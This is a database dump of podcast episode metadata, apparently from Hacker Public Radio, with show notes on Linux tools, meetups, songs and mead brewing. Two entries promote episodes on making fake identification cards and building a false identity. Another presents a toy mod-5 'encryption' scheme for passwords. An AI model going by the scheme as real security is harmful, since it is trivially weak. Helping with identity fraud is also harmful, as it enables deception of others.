(224,'2008-11-07','Installing gwibber webkit',502,'threethirty installs gwibber using webkit on Ubuntu','<pre>\r\nInstalling gwibber webkit https://wiki.ubuntu.com/gwibber\r\n\r\nThis is a guide to install the gwibber micro-blogging client on Ubuntu 8.04\r\n\r\nFrom PPA\r\n\r\nCreate a file called /etc/apt/sources.list.d/gwibber.list. It should contain the gwibber PPA:\r\n\r\ndeb https://ppa.launchpad.net/gwibber-team/ubuntu hardy main\r\ndeb-src https://ppa.launchpad.net/gwibber-team/ubuntu hardy main\r\ndeb https://ppa.launchpad.net/stemp/ubuntu hardy main\r\n\r\nand then the Webkit PPA (you probably don\'t need it if you\'re on Intrepid):\r\n\r\ndeb https://ppa.launchpad.net/webkit-team/ubuntu hardy main\r\ndeb-src https://ppa.launchpad.net/webkit-team/ubuntu hardy main\r\n\r\n\r\nsudo apt-get install bzr subversion \r\nlibwebkit-1.0-1 libwebkit-dev python-webkitgtk\r\n build-essential autoconf automake libtool \r\nlibgtk2.0-dev python-dev python-gtk2 \r\npython-gtk2-dev libsexy2 libsexy-dev python-sexy\r\n libxslt1-dev python-cairo-dev python-simplejson \r\npython-egenix-mxdatetime\r\n\r\n\r\n            $ sudo apt-get update\r\n\r\n            $ svn checkout https://pywebkitgtk.googlecode.com/svn/trunk/ pywebkitgtk-read-only\r\n\r\n\r\n   7. Goto pywebkitgtk-read-only directory - Configure, compile and install pywebkitgtk.\r\n          *\r\n\r\n            $ . cd pywebkitgtk-read-only\r\n            $ ./autogen.sh --prefix=/usr/local\r\n            $ make\r\n            $ sudo make install\r\n\r\n   9. Download gwibber webkitui\r\n          *\r\n\r\n            $ cd ~\r\n            $ bzr branch lp:~segphault/gwibber/webkitui\r\n\r\n  10. Goto /webkitui directory to run gwibber\r\n          *\r\n\r\n            $ cd ~/webkitui\r\n            $ ./run\r\n\r\n  11. or install\r\n          *\r\n\r\n            sudo python setup.py install\r\n\r\n\r\n</pre>',92,0,1,'CC-BY-NC-SA','\"social networking\",gwibber,Ubuntu',0,1330,1),
(225,'2008-11-10','What\'s in my Toolkit part 2',1614,'CyberCod tells what is in his toolkit','Cybercod talks about what\'s in his toolkit',91,23,1,'CC-BY-NC-SA','\"motherboard tester\",\"linksys router\",\"leatherman multi-tool\",\"magnetic flashlight\",\"plastic tweezers\",\"hard drive adapter\",\"multi-card reader\",\"linux cd\'s\"',0,2002,1),
(226,'2008-11-11','EC Lug November 11th meeting',5166,'The November 11th, 2008 Eau Claire Linux User Group meeting','EC Lug november 11th meeting',93,0,1,'CC-BY-NC-SA','wedding announcement,brewing,torrent,openSuse,Gentoo,HP printers,HP ink,mp3 player,Ipod,Rockbox,DRM,Blu-ray,mp3 bitrates,NES Emulator,ROMs,patents,video formats,Open Office,render farms',0,1374,1),
(227,'2008-11-12','Local Squid',1194,'Ken explains how to install and run a local squid proxy','<p>\nThis month my HPR episode featured using a local squid proxy. You might want to to run your own proxy server to provide yourself with a secure web connection when you are out and about by tunneling your traffic over ssh. Another good reason is to find out which URLs your browser is going to. On some sites URLs are deliberately hidden or you may be interested in exactly where you are sending traffic to. All is explained.\n</p>\n\n',30,0,1,'CC-BY-NC-SA','Squid,\"proxy server\"',0,2077,1),
(228,'2008-11-13','nokia',740,'Klaatu talks about the Nokia n800','<p>Klaatu talks about setting up your Nokia N8*0 or N770 to be a robust computing platform, and the importance of doing so before you need it rather than waiting, like he does, until the last minute and scrambling to get all the packages you need installed.  He concedes that he\'s failed to mention a lot of cool apps, so feel free to make suggestions in the comments.</p>\r\n\r\n<p><a href=\"https://www.gronmayer.com/it/\">Nokia N-series Repository Site</a></p>\r\n\r\n<p>You can also download Klaatu\'s <a href=\"https://www.thebadapples.info/audiophile/nokia.ogg\">ogg version</a> of this episode if you prefer ogg.</p>',78,0,0,'CC-BY-NC-SA','nokia,n800,bash,ftp,ssh',0,1610,1),
(229,'2008-11-14','CopyFight Vol 4 - SFL Podcast',2117,'threethirty introduces the Software Freedom Law Show podcast','<a href=\"https://softwarefreedom.org/podcast\"> https://softwarefreedom.org/podcast </a>',92,0,1,'CC-BY-NC-SA','copyfight,Software Freedom Law Center,Software Freedom Conservancy,vi,emacs,GPL',0,1936,1),
(230,'2008-11-17','Expressive Programming 4: Escapism and Alternative Resources',1175,'Part 4 of the Expressive Programming series','<p>UberChick continues her Expressive programming series</p>\r\n\r\n',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,4485,1),
(231,'2008-11-18','All Songs considered 1: Cause I am Free',286,'Chad sings','Cause I am Free by Chad from the linuxbasement',101,22,1,'CC-BY-NC-SA','songs,life,freedom',0,3105,1),
(232,'2008-11-19','EC Lug November 13th Meeting',5165,'The Nov. 13th, 2008 Eau Claire Linux User Group meeting','EC Lug November 13th Meeting',93,0,1,'CC-BY-NC-SA','Linux,Kubuntu,regex coach,TiddlyWiki,FSlint,servers,voting machines',0,1430,1),
(233,'2008-11-20','rox-filer',659,'Deepgeek reviews \"rox-filer,\" a lightweight gui file manager','Lightweight apps, Deepgeek reviews \"rox-filer,\" a lightweight gui\r\nfile manager. <br>\r\n\r\nAn excellent jumping off point on the web is this link... <br>\r\n<a href=\"https://polishlinux.org/apps/window-managers/rox-filer-a-lightweight-file-manager-that-simply-rocks/\"> https://polishlinux.org/apps/window-managers/rox-filer-a-lightweight-file-manager-that-simply-rocks/ </a>\r\n\r\nThe add-on for an integrated trash can can be found here... <br>\r\n<a href=\"https://www.skepticats.com/rox/trash.html\"> https://www.skepticats.com/rox/trash.html </a>',73,11,1,'CC-BY-NC-SA','rox-filer,file manager',0,5767,1),
(234,'2008-11-21','Creating Identification Cards Part 1',1556,'Creating fake identifications - part 1','<p>Get yer supplies at <a href=\"https://www.poisonid.com\">Poison ID</a> .<br />A simple laminator example is the <a href=\"https://www.abcoffice.com/gbcds40.htm\">ABC HeatSeal</a></p>\r\n<p>Download the <a href=\"https://www.thebadapples.info/audiophile/howToFakeID_1.ogg\">ogg</a> version if you are a codec snob.</p>\r\n',78,0,0,'CC-BY-NC-SA','fake identification,GIMP',0,1504,1),
(235,'2008-11-24','EC Lug November 20th Meeting',527,'The Nov. 20th, 2008 Eau Claire Linux User Group meeting','EC Lug November 20th Meeting',93,0,1,'CC-BY-NC-SA','Linux,printers,drivers',0,1299,1),
(236,'2008-11-25','UCLUG November 11th Meeting',4855,'The Nov. 11th 2008 Carolina Linux User Group Meeting','Dr. Richard Hipp \r\n<a href=\"https://www.hwaci.com/drh/\">D. Richard Hipp</a>, creator of <a href=\"https://www.sqlite.org/\">SQLite</a> and <a href=\"https://www.cvstrac.org/\">CVSTrac</a><p>\r\n\r\nThis work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 License ',77,0,1,'CC-BY-NC-SA','Linux,Southeast Linux Fest,freedom,free software,DE,accessibility',0,1299,1),
(237,'2008-11-26','Creating Identification Cards Part 2',987,'Creating fake identifications - part 2','<p>Klaatu talks about using the phone company as a leaping-off point toward a new You!  Also, gift cards and spreading the word about your new identity.</p>\r\n<p>Get Klaatu\'s <a href=\"https://www.thebadapples.info/audiophile/howToFakeID_2.ogg\">ogg version</a> of this show if you hatez the MPEG.</p>\r\n',78,0,0,'CC-BY-NC-SA','fake identification,gift card,utility companies,proof of existence,credit check',0,1449,1),
(238,'2008-11-27','All Songs Considered 2: Linux Johnny Appleseed and me',246,'Chad sings',' Linux Johnny Appleseed and me by Chad from the <a href=\"https://www.linuxbasement.com\">linuxbasement.com </a>',101,22,1,'CC-BY-NC-SA','songs,life,linux,apple tree',0,2500,1),
(239,'2008-11-28','SourceCast Ep 6',2419,'This is the SourceCast episode 6, a review of specific distros and general Linux talk.','original Audio from Sourcecast ep 5.5 @  <a href=\"https://www.sourcecast.org/\"> sourcecast.org </a> ',97,19,1,'CC-BY-NC-SA','distrohopping,linux.Valve,applications',0,1390,1),
(240,'2008-12-01','All Songs considered 3: The Php Song',224,'Chad sings','Chad sings about php ',101,22,1,'CC-BY-NC-SA','songs,php',0,1521,1),
(241,'2008-12-02','What I learned from Oggify ',3662,'Utah Open Source Conference - What I learned from Oggify','What I learned from Oggify by Scott Paul Robertson',100,0,1,'CC-BY-NC-SA','Linux,ogg,script,version control',0,1255,1),
(242,'2008-12-03','Open Source in Government Panel Discussion',4044,'A panel discussion on Open Source in Government','Open Source in Government Panel Discussion moderated by Jason Hall',100,0,1,'CC-BY-NC-SA','open source,government',0,3270,1),
(243,'2008-12-04','All Songs Considered 4 Special Piece of Hate',283,'Chad sings','Special Piece of Hate by Chad ',101,22,1,'CC-BY-NC-SA','songs,annoyances,Windows',0,1401,1),
(244,'2008-12-05','Enlightment',787,'Klaatu reviews the Enlightenment desktop','<p>Klaatu hijacks deepgeek\'s \"Lightweight App\" series and discusses one of his favourite lightweight desktop environments.</p>\r\n<p>You can also choose to download Klaatu\'s <a href=\"https://www.thebadapples.info/audiophile/enlightenment.ogg\">ogg version</a> of this episode.</p>',78,11,0,'CC-BY-NC-SA','Enlightenment desktop',0,2379,1),
(245,'2008-12-08','Icewm',2300,'Deepgeek reviews the IceWM lightweight window manager','Deepgeek reviews \"Icewm,\" the \"cool\" window manager with an alias,\r\nA.K.A., \"The imitator.\"  Then Deepgeek goes on to show the solution to\r\na technical problem with it, which is running unsupported WindowMaker\r\nDockapps on it.<br>\r\n<br>\r\nCompanion article can be found at <a href=\"https://deepgeek.us/icewm\"> https://deepgeek.us/icewm </a> <br>\r\nAn ogg audio version can be found there also.',73,11,1,'CC-BY-NC-SA','Icewm,window manager,dock apps',0,2463,1),
(246,'2008-12-09','Whats in My Toolkit Part 3',795,'Items dwick carries in his bag.','dwick describes what\'s in his toolkit',102,23,1,'CC-BY-NC-SA','Laptop backpack,Maxell headphones,Creative Zen Nano Plus mp3 player,harmonica,USB sticks,compact umbrella,mini mouse,ethernet cable,Bamboo pen tablet,Gentoo CD,Gparted live CD,portable speaker',0,2238,1),
(247,'2008-12-10','Voice Over IP for fun and profit',4043,'Utah Open Source Conference - Voice over IP talk','Chris Cameron will show how to setup a voice over IP phone system from beginning to end. Using open source software we will explore how simple it is to have a high end phone system running in little time and on commodity hardware. We will take a computer and some inexpensive phones and install and configure the system through the presentation. Using web based administration tools to easily configure an upstream Voice Over IP trunk and make and receive calls. <a href=\"https://podcast.utos.org\"> original audio </a>',100,0,1,'CC-BY-NC-SA','Linux,VOIP,SIP,Trixbox,PBX,Asterisk',0,1820,1),
(248,'2008-12-11','Cross Stitching with Morgellon',1099,'Morgellon cross-stitches electronics','Cross Stitching with Morgellon o.O  ...wtF!?',25,0,1,'CC-BY-NC-SA','cross stitching,electronics,Arduino',0,1573,1),
(249,'2008-12-12','Puppy 411',1805,'Roadrunner reviews Puppy linux','\r\n\r\n<a href=\"https://www.puppylinux.org/wiki/archives/old-wikka-wikki/categorydocumentation/compiling\"> \r\nGetting Compiling Working in Puppy </a> <br>\r\n\r\n\r\n<a href=\"https://puppylinux.com/development/createpet.htm\"> Creating a Pet Package </a> <br>\r\n\r\n<a href=\"https://www.puppylinux.org/downloads/puplets\"> \r\nPuppy Custom Re-Spins </a> <br>\r\n\r\n<a href=\"https://www.puppylinux.org/downloads/puplets/dingoplus\">\r\n\r\nPuppy Custom Version for the EEE PC </a> <br> ',103,0,1,'CC-BY-NC-SA','Redhat 9,WinModem,Puppy Linux,rox-filer,AbiWord,Flash 9',0,1448,1),
(250,'2008-12-15','What Ogg Player',751,'Ken updates the firmware on his Samsung YP-U3','<p>\r\nSadly the player has fallen apart after much long service\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Yepp_U_series\">Samsung YP-U3</a></li>\r\n<li><a href=\"https://wiki.xiph.org/index.php/PortablePlayers\">Where to look for an ogg player</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Media_Transfer_Protocol\">Media Transfer Protocol on Wikipedia</a></li>\r\n</ul>\r\n\r\n',30,0,1,'CC-BY-NC-SA','ogg player,solid state,DRM,firmware,USB mass storage device',0,2138,1),
(251,'2008-12-16','All Songs Considered 4 Livin With a Geek',291,'Another song by Chad from the Linux Basement','Another song by Chad from <a href=\"https://www.linuxbasement.com\"> the Linux Basement </a> <br>',101,22,1,'CC-BY-NC-SA','songs,techie,geek,sci-fi',0,1435,1),
(252,'2008-12-17','Google App Engine 101',1822,'Utah Open Source Conference - Google App Engine 101','oogle launched the App Engine service earlier this year to immense interest from the web development community. App Engine allows running applications on Google infrastructure, including BigTable, Google’s non-relational, massively scalable database. App Engine is appealing both at the low end, where small shops don’t want to have to deal with hardware procurement and systems administration, and at the high end, where the kind of “instant scaling” App Engine promises to deal with bursty traffic is the holy grail of infrastructure planning.',100,0,1,'CC-BY-NC-SA','Linux,Django,database',0,1611,1),
(255,'2008-12-22','Pmount',477,'Using the pmount tool to mount hot pluggable media as a normal user.','The glories of pmount - allowing you to mount arbitrary hotpluggable devices as a normal user.  \r\n\r\n<ul>\r\n<li><a href=\"https://pmount.alioth.debian.org\">Pmount home page</a></li>\r\n<li>See your distribution repository for the file</li>\r\n<li>Slackware users can find it in <a href=\"https://code.google.com/p/sbopkg/\">sbopkg</a> oh yeah!</li>\r\n</ul>',7,0,1,'CC-BY-NC-SA','pmount,mount,hot pluggable,hotpluggable,pluggable',0,2150,1),
(256,'2008-12-23','Ditching ITunes',1111,'pixel_juice kicks iTunes out','<p>In which <code>pixel_juice</code> describes the steps he took to kick the iTunes habit and embrace freedom.</p>\r\n<ul>\r\n<li>Rockbox - <a href=\"https://www.rockbox.org\" class=\"uri\">https://www.rockbox.org</a></li>\r\n<li>gPodder - <a href=\"https://gpodder.berlios.de/\" class=\"uri\">https://gpodder.berlios.de/</a></li>\r\n<li>EasyTAG - <a href=\"https://easytag.sourceforge.net/\" class=\"uri\">https://easytag.sourceforge.net/</a></li>\r\n<li>OGG Vorbis - <a href=\"https://flac.sourceforge.net/\" class=\"uri\">https://flac.sourceforge.net/</a></li>\r\n</ul>\r\n',104,0,1,'CC-BY-NC-SA','Rockbox,gPodder,EasyTAG,OGG Vorbis',0,1544,1),
(253,'2008-12-18','Encryption',1104,'Xoke talks about types of encryption','<pre>\r\nThree Prime Numbers: 2, 3 and 5.\r\nI will call them A, B and C so A=2, B=3 and C=5\r\nWorking through x as the current position, \r\nand i being the unencrypted password and j being the encrypted as an array,\r\n so i[x] is the \'current\' position we get:\r\n\r\nj[x] = ((j[x-1] + i[x] + A) * B ) MOD C\r\n\r\nThe password example I give is:\r\n\r\nEncrypting 123\r\n\r\n1 (unencrypted password) + 2 (Prime A) = 3\r\n3 * 3 (Prime B) = 9\r\n9 MOD 5 (Prime C) = 4\r\n\r\n4 (previous encrypted) + 2 (current unencrypted) + 2 (Prime A) = 8\r\n8 * 3 (Prime B) = 24\r\n24 MOD 5 (Prime C) = 4\r\n\r\n4 (previous encrypted) + 3 (current unencrypted) + 2 (Prime A) = 9\r\n9 * 3 (Prime C) = 27\r\n27 MOD 5 (Prime C) = 2\r\n\r\nSo the encrypted password is 442\r\n</pre>',79,0,1,'CC-BY-NC-SA','Security,Encryption',0,2189,1),
(257,'2008-12-24','Apps I Installed on my eee pc',944,'Dave Yates reviews applications on the eee pc','Apps I installed on my eee pc.<p>\r\n<a href=\"https://wiki.debian.org/DebianEeePC\">debian eee pc</a>',77,0,1,'CC-BY-NC-SA','eee pc,fluxbox,openbox,lxde,iceweasel,roxterm,rox-filer,links browser,vim,irssi',0,2068,1),
(258,'2008-12-25','Xmas Special',7065,'Some of the HPR community visit each other on Christmas Eve via chat','Xmas \"Live\" Special, Hosts include slick0, droops morgellon, Tottenkoph, killersmurf, fawksfyre, Enigma, PlexiE, threethirty',39,0,1,'CC-BY-NC-SA','Christmas,Xmas,community,holiday,tech gifts',0,3746,1),
(259,'2008-12-26','Drupal: From blank to blog in 30 minutes',3751,'Utah Open Source Conference - Google App Engine 101','UTOSC 2008: Drupal: From blank to blog in 30 minutes by Dirk Howard <br>\r\n\r\n<br>\r\nDrupal is an extensible Content Management System (CMS) that is used for blogs, forums, photo galleries and many other uses. Installing Drupal on a blank website can be done in as little as 30 minutes. All you need is a web server that can handle PHP, a MySQL or PostgreSQL database, and either FTP or shell access to the web server. Within 30 minutes you can be blogging on your own site that you can customize anyway you want.\r\n\r\n',100,0,1,'CC-BY-NC-SA','Linux,Drupal,galleries,photos,forums,blog',0,1526,1),
(254,'2008-12-19','Expressive Programming Ep 5',2075,'Part 5 of the Expressive Programming series','Episode 5 of uberchicks Expressive Programming series',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,2075,1),
(260,'2008-12-29','All Songs considered 5: Big Dave Yates',438,'Another song by Chad from the Linux Basement','An Ode to Dave Yates by Chad from the <a href=\"https://linuxbasement.com\"> linuxbasement </a> <br>',101,22,1,'CC-BY-NC-SA','songs,podmaster,Dave Yates',0,1402,1),
(261,'2008-12-30','Force Unleashed',633,'Enigma reviews The Force Unleashed for the Wii','Enigma starts things off with the first episode of the Game review series, he reviews Force Unleashed for the Wii',39,0,1,'CC-BY-NC-SA','Game Review',0,6810,1),
(262,'2008-12-31','Programming 101: The Basics',1093,'Xoke starts the Programming series','Xoke starts the Programming series giving some background on his experience as well as some programming fundamentals. ',79,25,1,'CC-BY-NC-SA','Programming',0,3806,1),
(263,'2009-01-01','1 year anniversary special',1693,'Enigma and Wintermute21 talk about their favorite episodes from Season 1','Enigma and Wintermute21 talk about their favorite episodes from Season 1 and discuss changes that Season 2 will bring.',39,0,1,'CC-BY-NC-SA','Favorite episodes',0,2746,1),
(264,'2009-01-02','Interacting with GSM Modems',677,'Seal talks about GSM Modems','Seal talks about GSM Modems',18,0,1,'CC-BY-NC-SA','GSM modems,SMS,serial communication,AT commands',0,3101,1),
(265,'2009-01-05','CrunchBang Linux',1399,'monsterb and threethirty talk about CrunchBang Linux','monsterb and threethirty talk about CrunchBang Linux, Openbox and Terminator.<br><big>Links:</big><br><a href=\"https://crunchbanglinux.org\">CrunchBang Linux</a><br><a href=\"https://icculus.org/openbox/index.php/Main_Page\">Openbox</a><br><a href=\"https://www.tenshu.net/terminator/\">Terminator</a><br><a href=\"https://www.unixporn.com\">Unix Porn!</a><br>Screenshots: <a href=\"https://www.unixporn.com/screenshots/displayimage.php?album=5&amp;pos=1\">pic1</a>, <a href=\"https://www.unixporn.com/screenshots/displayimage.php?album=5&amp;pos=0\">pic2</a><br>CrunchBang Repo:<br>deb https://ppa.launchpad.net/spring/ubuntu intrepid main<br>deb-src https://ppa.launchpad.net/gezakovacs/ubuntu intrepid main<br>deb-src https://ppa.launchpad.net/spring/ubuntu intrepid main<br>deb https://ppa.launchpad.net/gezakovacs/ubuntu intrepid main',99,0,1,'CC-BY-NC-SA','Crunchbang Linux',0,2160,1),
(266,'2009-01-06','EC Lug Decemeber 11th Meeting',5848,'The Nov. 20th, 2008 Eau Claire Linux User Group meeting','EC Lug December 11th Meeting ',93,0,1,'CC-BY-NC-SA','Linux,RAID,vnc,zeroconf,programming',0,1301,1),
(267,'2009-01-07','Copyfight Volume 4: Free Beatles',233,'Threethirty talks about how to get legally free Beatles tracks',' <a href=\"https://nrkbeta.no/last-ned-alt-av-the-beatles-og-historien-om-hver-enkelt-laat/\"> Story: </a> <br>\r\n <a href=\"https://podkast.nrk.no/program/beatles_komplett.rss\"> Podcast Feed:</a> <br>',92,0,1,'CC-BY-NC-SA','copyfight',0,1679,1),
(268,'2009-01-08','Lightweight Web Browsing With Arora',472,'Deepgeek reviews a lightweight browser','<p>Deepgeek continues the lightweight applications series</p>\n\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://wiki.archlinux.org/title/Surfraw\" target=\"_blank\">https://wiki.archlinux.org/title/Surfraw</a></li>\n</ul>\n',73,11,1,'CC-BY-NC-SA','browser,lightweight,geek tidbit,surfraw command line search',0,1862,1),
(269,'2009-01-09','Cups',1633,'Klaatu discusses CUPS printing','klaatu talks about printing in linux',78,0,0,'CC-BY-NC-SA','CUPS,Linux,printing,network printers,ipp protocol,foomatic drivers',0,1482,1),
(270,'2009-01-12','Licensing Part 2 - AGPL and LGPL',1887,'The second part of a look at licenses','<ul>\r\n<li><a href=\"https://www.gnu.org/licenses/agpl.html\">Affero GPL (AGPL)</a></li>\r\n<li><a href=\"https://www.gnu.org/licenses/lgpl.html\">Lesser GPL (LGPL)</a></li>\r\n<li><a href=\"https://www.gnu.org\">GNU website</a></li>\r\n<li><a href=\"https://www.softwarefreedom.org/podcast/2008/dec/23/0x03/\">Episode 3 of the Software Freedom Law Center Podcast</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Agpl\">AGPL Wikipedia page</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/LGPL\">LGPL Widipedia page</a></li>\r\n<li><a href=\"https://www.thelinuxlink.net/~dann/hpr_stuff/hrp_licensing_pt2.html\">Dann\'s notes for this episode</a></li>\r\n</ul>\r\n',7,0,1,'CC-BY-NC-SA','licenses,licences,AGPL,LGPL',0,2040,1),
(271,'2009-01-13','Stallman on Free Beer',758,'Interview with Richard Stallman by SUPERFLEX <https://superflex.net/>','This\r\nis an interview with Richard Stallman framed as a \"review\" of FREE\r\nBEER, the worlds first collaborative \"free\" beer (\"free\'\' as in `free\r\nspeech\", not as in \"free beer\")<br><span class=\"key\">By <a href=\"https://superflex.net/\">SUPERFLEX</a> in 2005. Creative Commons license:</span> <span class=\"value\"><a rel=\"license\" title=\"Attribution-ShareAlike\" href=\"https://creativecommons.org/licenses/by-sa/2.5/\" target=\"_blank\">Attribution-ShareAlike</a>',99,0,1,'CC-BY-NC-SA','\"Richard Stallman\",\"Free Beer\",\"intellectual property\",\"free software\",\"open source software\"',0,4577,1),
(272,'2009-01-14','EC Lug December 18th Meeting',7478,'The Dec. 18th, 2008 Eau Claire Linux User Group meeting','EC Lug December 18th Meeting',93,0,1,'CC-BY-NC-SA','Linux,Books,printers,dvd backup,copyright,newsletter',0,1298,1),
(273,'2009-01-15','The socal Linux Expo',2059,'SCALE 7x, the premier Open Source Community conference in the southwestern United States','<a href=\"https://scale7x.socallinuxexpo.org/\"> https://scale7x.socallinuxexpo.org/</a> <br>\r\nSCALE 7x, the premier Open Source Community conference in the southwestern United States, returns to the Westin LAX Hotel, site of the 6th Expo! For 2009, the main weekend conference at SCALE 7x has been expanded. In addition to the three main tracks, a Beginner\'s track and a Developer\'s track have been added. <br>\r\n<br>\r\nWintermute interviews Orv Beach and Ilan Rabinovitch, both staff members of the ScaLE conference ',105,0,1,'CC-BY-NC-SA','Linux,OpenSUSE,Bradley M. Kuhn,software as a service,licensing,Fedora,Subversion',0,2144,1),
(274,'2009-01-16','TiddlyWiki',1257,'Thistleweb review TiddlyWiki','<pre>\r\nShow Notes & Running Order (More Or Less)\r\n\r\nWhat it is / what it\'s not\r\nWhat people expect a wiki to be\r\n	Server based\r\n	Database storage\r\n	Multiple users\r\n	Revision control\r\nWhere TiddlyWiki is best suited\r\n	Journal\r\n	Start a new clean wiki each month / year and tar.gz the previous one to be archived\r\n	Personal wiki you can take with you on a thumbdrive\r\n	A scratch pad for ideas on a project, ideal to zip and send to a client\r\nJavaScript & CSS\r\nPlatform Neutral\r\n	Gecko based\r\n	Opera etc require additional TiddlySaver.jar file\r\nGTD Variants (b3cubed)\r\nAlternates (didiwiki, woas)\r\nNo install needed\r\nBackstage\r\nTiddlers\r\nPlugins\r\n	Installing plugins\r\nThemes\r\n	Blackicity theme from tiddlythemes.com\r\n	Installing themes - Importing themes\r\n	Installing themes - Empty file, importing tiddlers\r\nNo passwords, encryption or theme switching by default\r\nA wiki for each project\r\n	Separate folders for each TiddlyWiki\r\n	Backups created by default\r\n	Rename your empty-tiddlywiki.html file anything you want\r\n	Some config info kept in cookies\r\nUpgrading\r\nSyncing with a version of TiddlyWiki on a different PC\r\nFree TiddlyWiki hosting at tiddlyspot.com, can be private\r\nEvery wiki uses it\'s own syntax\r\nWhy I needed something like TiddlyWiki\r\nDidiWiki requires a port opened to work\r\n</pre><br>\r\nLinks <br>\r\n<a href=\"https://tiddlywiki.com\">The main project site </a> <br>\r\n<a href=\"https://tiddlywiki.org\"> The official wiki </a> <br>\r\n<a href=\"https://tiddlythemes.com\">Themes for TiddlyWiki </a> <br>\r\n<a href=\"https://tiddlywikiguides.org\"> Guides for TiddlyWiki </a> <br>\r\n<a href=\"https://stickwiki.sourceforge.net/\"> WikiOnAStick </a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/DidiWiki\"> DidiWiki </a> <br>\r\n<a href=\"https://tiddlyspot.com\">A free hosted TiddlyWiki site. </a> <br>\r\n<a href=\"https://www.dcubed.ca/\">DCubed GTD TiddlyWiki </a> <br>\r\n<a href=\"https://monkeygtd.tiddlyspot.com/\">Monkey GTD TiddlyWiki</a> <br>',106,0,1,'CC-BY-NC-SA','wiki,self-contained,java script,css',0,2042,1),
(275,'2009-01-19','giver',1775,'Review of Giver, a simple file sharing desktop application','monsterb, threethirty, klaatu, and Peter64 talk about \"giver\" and apps they use on eeepc.<br><a href=\"https://code.google.com/p/giver/\">Giver</a> is a simple file sharing desktop application. Visit the original <a href=\"https://idea.opensuse.org/content/ideas/easy-file-sharing\">Giver Hack Week Page</a> and check out the <a href=\"https://video.google.com/googleplayer.swf?docId=3768442676796881783&amp;hl=en\">video</a>.<br>The ogg version of this episode is located on <a href=\"https://monsterb.org/hpr.html\">https://monsterb.org/hpr.html</a>.',99,0,1,'CC-BY-NC-SA','giver,openSuse,file sharing,LAN',0,2154,1),
(276,'2009-01-20','ANCIENT ORANGE MEAD',1652,'lostnbronx makes Orange mead wine','<pre>\r\nmakes roughly 1 US gallon after headspace and spillage are factored in\r\n\r\n\r\nIngredients\r\n\r\n3 1/2 pounds (1.5 kgs.) of honey\r\n1 large orange\r\n1 small handful of raisins\r\n1 cinnamon stick\r\n2 cloves\r\npinch of nutmeg and allspice (optional)\r\n1 sachet bread yeast\r\nwater to just under 4 liters\r\n\r\n\r\nProcedure\r\n\r\nCut orange into eigths.  Add orange slices (peels and all) to a 4 liter \r\njug, then add honey, spices, and water to 4 liters, less headspace.  Cap \r\nand shake, mixing well.  Uncap, add yeast.  Cap and shake again.  Uncap \r\nand attach waterlock.  Let sit for 2 to 2 1/2 months.  When mead is \r\nclear syphon it into clean bottles.  Cap or cork these.  Mead is now \r\nready to drink, but gets better with age. \r\n\r\n\r\nAdditional Reading\r\n\r\nThe obligatory Wikipedia article\r\nA nice overview of mead history and nomenclature.  (I\'ve contributed to \r\nit myself, so you just know it\'s good!) \r\nhttps://en.wikipedia.org/wiki/Mead\r\n\r\nGotmead.com \r\nThe single biggest mead resource on the Web.  The forums are \r\nparticularly useful.  Many very knowledgeable and friendly people hang \r\nout here. https://www.gotmead.com\r\n\r\nThe Mead Lover\'s Digest \r\nA venerable email forum, that gets sent out whenever there\'s enough \r\ncontent to fill and issue.  Lots of good advice and recipes here.  This \r\nis the introduction/signup page. https://www.talisman.com/mead/\r\n</pre>',107,0,1,'CC-BY-NC-SA','wine,home brewing,fermenting,mead,yeast,waterlock,bottling',0,1875,1),
(277,'2009-01-21','tmpfs',437,'Thewtex talks about tmpfs','thewtex talks about tmpfs\r\n\r\n',69,0,1,'CC-BY-NC-SA','tmpfs,ramdisk,filesystem',0,2123,1),
(278,'2009-01-22','Squashfs',459,'Deepgeek talks about squashfs','deepgeek talks about squashfs',73,0,1,'CC-BY-NC-SA','squashfs,filesystem',0,2029,1),
(279,'2009-01-23','cfengine',1026,'Ken Fallon interviews Ian Southam about using cfengine','</pre>\r\nKen talks to Ian Southam about using cfengine to manage your servers. <br>\r\n\r\nOverview of CFengine <br>\r\nhttps://en.wikipedia.org/wiki/Cfengine\r\n<br>\r\nThe Promise of System Configuration: Google Tech Talks - November 5, 2008 \r\nhttps://www.youtube.com/watch?v=4CCXs4Om5pY\r\n<br>\r\nA simple overview of cfengine: Debian Administration\r\nhttps://www.debian-administration.org/articles/223\r\n<br>\r\nCentralized Host Configuration With Cfengine: Sun BigAdmin System Administration Portal\r\nhttps://www.sun.com/bigadmin/features/articles/cfengine_part1.html\r\nhttps://www.sun.com/bigadmin/features/articles/cfengine_part2.html\r\n<br>\r\nIan Southam:\r\nhttps://www.schubergphilis.com/\r\n</pre>',30,0,1,'CC-BY-NC-SA','Interview,cfengine',0,2164,1),
(280,'2009-01-26','Aftershow',6313,'Impromptu aftershow conversation','An unintended, and impromptu, aftershow conversation between kajarii and threethirty, recorded after a call-in episode of the lottalinuxlinks.com linux user podcast.',77,0,1,'CC-BY-NC-SA','Gnome,accessibility,RAM,Windows,vim,free software,keyboards',0,1997,1),
(281,'2009-01-27','Expressive Programming 6: How do you view programming: artistically, scientifically, or statically?',1330,'Part 6 of the Expressive Programming series','Uberchick continues the Expressive Prgramming series',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,1492,1),
